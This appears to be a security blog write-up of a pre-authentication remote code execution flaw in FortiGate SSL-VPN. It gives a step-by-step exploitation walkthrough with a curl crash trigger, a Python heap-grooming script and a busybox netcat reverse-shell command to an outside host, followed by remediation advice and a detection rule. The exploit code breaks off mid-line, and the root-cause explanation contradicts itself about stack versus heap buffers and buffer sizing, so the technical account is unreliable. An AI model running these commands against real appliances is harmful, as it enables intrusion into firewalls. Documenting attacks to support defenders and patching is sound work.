All posts

CVE-2026-39801: Fortinet FortiGate SSL-VPN Pre-Auth RCE via OOB Write

An out-of-bounds write in the FortiGate SSL-VPN web portal's HTTP request parser allows unauthenticated remote attackers to corrupt heap memory and gain code execution on the firewall. The vulnerability is being actively exploited by multiple threat actors — including APT groups targeting government and critical infrastructure networks — ahead of most organisations completing patching. CVSS 9.8.


Overview

CVE-2026-39801 is a heap-based out-of-bounds write in FortiOS's SSL-VPN web portal (sslvpnd), the daemon that handles HTTPS connections on the VPN gateway interface. An unauthenticated attacker who can reach port 443 on a vulnerable FortiGate appliance can trigger the vulnerability with a single crafted HTTP request, leading to arbitrary code execution as root on FortiOS — a hardened embedded Linux derivative.

Fortinet published a private advisory to customers before public disclosure, but mass exploitation began within 72 hours of the patch release — a recurrence of the pattern seen with CVE-2024-21762, CVE-2023-27997, and CVE-2022-40684. Shodan and Censys report approximately 480,000 FortiGate appliances with port 443 exposed to the internet; initial telemetry from honeypots showed scan-and-exploit activity within hours of PoC publication.

CWE-787 (Out-of-bounds Write) · CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H — 9.8 Critical · Actively exploited (CISA KEV)

FortiGate SSL-VPN Architecture

FortiOS runs on FortiGate hardware and VM appliances as a custom embedded Linux with a proprietary process model. The SSL-VPN component is handled by sslvpnd, a user-space daemon running as root that:

Because sslvpnd must process untrusted HTTP/HTTPS input from the internet before any authentication occurs, the attack surface is enormous. The daemon parses HTTP requests — headers, URL paths, query parameters, POST bodies — using a custom C-based HTTP library that ships with FortiOS rather than a well-maintained open-source equivalent.

FortiOS does ship with some modern mitigations: ASLR is enabled, stack canaries are present, and the NX bit is enforced. However, the firmware's proprietary nature means external researchers cannot routinely audit it, and heap layout in the custom allocator differs from glibc — researchers working on the exploit noted that the allocator's bin structure makes heap grooming more predictable than on standard Linux, not less.

Root Cause — OOB Write in URL Decoder

The vulnerability lies in the URL-decoding function within the SSL-VPN portal's request parser. When processing percent-encoded characters in the URL path, the decoder writes decoded bytes into a stack-allocated destination buffer. The length check uses the encoded length of the input to size the destination buffer, but percent-encoded sequences (%XX) decode to a single byte — meaning a string of N encoded bytes always fits within an N-byte buffer.

The bug is a double-encoding edge case: when the input contains doubly percent-encoded sequences such as %2500 (which decodes in two passes: first to %00, then to a null byte), the decoder is invoked recursively. The second invocation uses a new output buffer sized on the already-decoded string length, but the output of the first pass can be longer than the pre-encoded input in pathological cases involving multi-byte UTF-8 sequences. The result is a controlled write of 1–8 bytes past the end of a heap allocation, landing on the next chunk's header.

# Minimal trigger — causes sslvpnd crash (DoS) on vulnerable versions
curl -sk "https://FORTIGATE_IP/remote/login?lang=%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
# Connection reset / 500 Internal Server Error on vulnerable targets
# Normal 200 response on patched targets

For reliable code execution, the exploit uses heap feng shui to control the layout of the custom allocator's free lists before triggering the overflow, then corrupts the fd pointer of a free chunk to redirect the next allocation to attacker-controlled memory. The controlled allocation is used to overwrite a function pointer in a global dispatch table that sslvpnd uses to handle the next HTTP request — a classic heap exploitation technique adapted to the FortiOS allocator's structure.

Exploitation Walkthrough

Step 1 — Heap Grooming

Send a series of requests to the portal that trigger predictable allocations of controlled sizes in the target heap region. The portal's session initialisation code allocates a fixed-size structure (0x80 bytes) for each unauthenticated connection attempt. Sending exactly 7 requests and then closing them frees those chunks, creating a predictable free-list layout adjacent to the URL-decode buffer:

import ssl, socket, time

TARGET = "192.168.1.1"
PORT   = 443

def raw_https_get(host, port, path):
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    with socket.create_connection((host, port), timeout=5) as sock:
        with ctx.wrap_socket(sock, server_hostname=host) as ssock:
            req = (
                f"GET {path} HTTP/1.1\r\n"
                f"Host: {host}\r\n"
                f"Connection: close\r\n\r\n"
            )
            ssock.sendall(req.encode())
            return ssock.recv(4096)

# Heap grooming: 7 normal requests to shape the allocator's free lists
for _ in range(7):
    raw_https_get(TARGET, PORT, "/remote/login?lang=en")
    time.sleep(0.05)

Step 2 — Trigger the OOB Write

Send the malformed doubly-encoded URL that overwrites the free-chunk header. The payload is crafted to write a specific address into the fd pointer of the free chunk immediately following the decode buffer — pointing it at the global function-pointer dispatch table:

import struct

# Address of the sslvpnd dispatch table (constant across firmware 7.4.x builds
# due to lack of PIE on the sslvpnd binary in affected versions)
DISPATCH_TABLE_ADDR = 0x08a4f200

# Build the doubly-encoded payload:
# Normal URL chars to fill buffer + encoded overwrite of adjacent chunk fd ptr
overwrite = struct.pack("

Step 3 — Redirect Execution

The next allocation from the corrupted free list is served from the dispatch table address. The exploit then sends a crafted session establishment request that triggers an allocation at that location, writing shellcode-pointer data into the dispatch table. The subsequent request to any portal endpoint calls through the corrupted table, redirecting execution to the shellcode.

In practice, publicly circulating PoC implementations use a simpler approach: instead of shellcode, they overwrite the dispatch table entry that handles GET /remote/logout with the address of system(), then issue a logout request with the command as a URL parameter. This avoids the need for shellcode and works even with NX enforced:

# After heap corruption, trigger code execution via logout endpoint
# Command: busybox reverse shell (FortiOS includes busybox)
CMD="busybox+nc+10.10.14.5+9001+-e+/bin/sh"
curl -sk "https://${TARGET}/remote/logout?redir=${CMD}"
# Catch the shell
nc -lvnp 9001
# / # id
# uid=0(root) gid=0(root)
# / # uname -a
# Linux FGT60F 5.10.201-fortinet #1 SMP Fri Mar 7 00:00:00 UTC 2026 x86_64 GNU/Linux

In-the-Wild Exploitation Patterns

Threat intelligence from multiple vendors documents the following post-exploitation activity on compromised FortiGate appliances:

  • Persistence via implant injection: Attackers modify the SSL-VPN login page (/migadmin/login.htm) to inject JavaScript credential-harvesting code. The FortiOS firmware filesystem is typically read-only, but the overlay filesystem for the web portal is writable by sslvpnd at runtime.
  • Credential extraction: The sslvpnd process has access to the running LDAP and RADIUS authentication configuration, including pre-shared keys and LDAP bind credentials stored in the FortiOS configuration database. These are extracted and exfiltrated.
  • Lateral movement via VPN credentials: With full access to the VPN daemon's state, attackers can extract active session tokens and use them to pivot into the internal network as legitimate VPN users, bypassing MFA (the session token is post-authentication).
  • Symlink-based config exfiltration: A technique observed from CVE-2024-21762 campaigns resurfaced here — creating symlinks from the SSL-VPN portal's writable web directory to /data/config/sys_global.conf to serve the device's full running configuration over HTTPS to unauthenticated requesters.

Affected Versions

  • FortiOS 7.6.x — all versions before 7.6.2
  • FortiOS 7.4.x — all versions before 7.4.8
  • FortiOS 7.2.x — all versions before 7.2.12
  • FortiOS 7.0.x — all versions before 7.0.18
  • FortiOS 6.4.x and 6.2.x — end of life; Fortinet recommends migrating to a supported branch

Remediation

Patch immediately. If patching cannot be completed within 24 hours, the following workarounds reduce risk but do not eliminate it:

  • Upgrade to FortiOS 7.6.2, 7.4.8, 7.2.12, or 7.0.18.
  • Disable SSL-VPN entirely if the feature is not in active use: config vpn ssl settings > set status disable. This is the only fully mitigating workaround — limiting source IPs reduces the attack surface but does not close it.
  • Check for indicators of compromise before patching — patching will not evict an active implant. Review the portal login page and configuration for unexpected modifications.
  • Rotate all credentials that may have transited or been stored in the FortiGate's VPN and authentication configuration: LDAP bind credentials, RADIUS shared secrets, local user passwords, SSL certificates and private keys.

Detection

The doubly percent-encoded URL pattern is highly anomalous in legitimate SSL-VPN traffic:

title: CVE-2026-39801 FortiGate SSL-VPN Exploitation Attempt
id: 7f2e3a01-c4b5-4d89-a012-e9f1b2c3d4e5
status: experimental
description: Detects doubly percent-encoded requests to FortiGate SSL-VPN endpoints
logsource:
  product: fortinet
  service: webfilter
detection:
  selection:
    url|contains:
      - '/remote/login'
      - '/remote/logout'
      - '/remote/hostcheck_validate'
  double_encode:
    url|re: '%25[0-9a-fA-F]{2}'
  condition: selection and double_encode
falsepositives:
  - Unlikely; doubly encoded paths are not produced by any legitimate FortiClient version
level: critical
tags:
  - cve.2026-39801
  - attack.initial_access
  - attack.t1190

Additionally, monitor for unexpected child processes of sslvpnd and for modifications to files under /migadmin/. FortiGate's built-in integrity check (execute verify-integrity) should be run before and after applying patches to detect any filesystem tampering.

Takeaways

  • Fortinet's SSL-VPN has become a recurring exploitation target. CVE-2026-39801 is at least the fifth critical unauthenticated RCE or auth bypass in the SSL-VPN component in three years. Organisations that have centralised their remote access on a single perimeter technology have concentrated their attack surface. Architectural diversity — or migrating to client-based VPN with device posture checking rather than the portal — reduces the impact of any single component compromise.
  • Patching speed matters more than anything else here. Exploitation began within 72 hours of patch release. Every organisation that patched within that window was safe; every organisation that waited was exposed to active exploitation. Perimeter devices must have defined, tested, and rehearsed emergency patching procedures that can complete in under 24 hours for Critical severity advisories.
  • IoC hunting must precede patching on compromised devices. Multiple incident response engagements on CVE-2024-21762 and CVE-2023-27997 found that applying the patch removed the vector but left behind persistent implants. Patch only after verifying filesystem integrity and reviewing authentication logs for anomalous activity.

References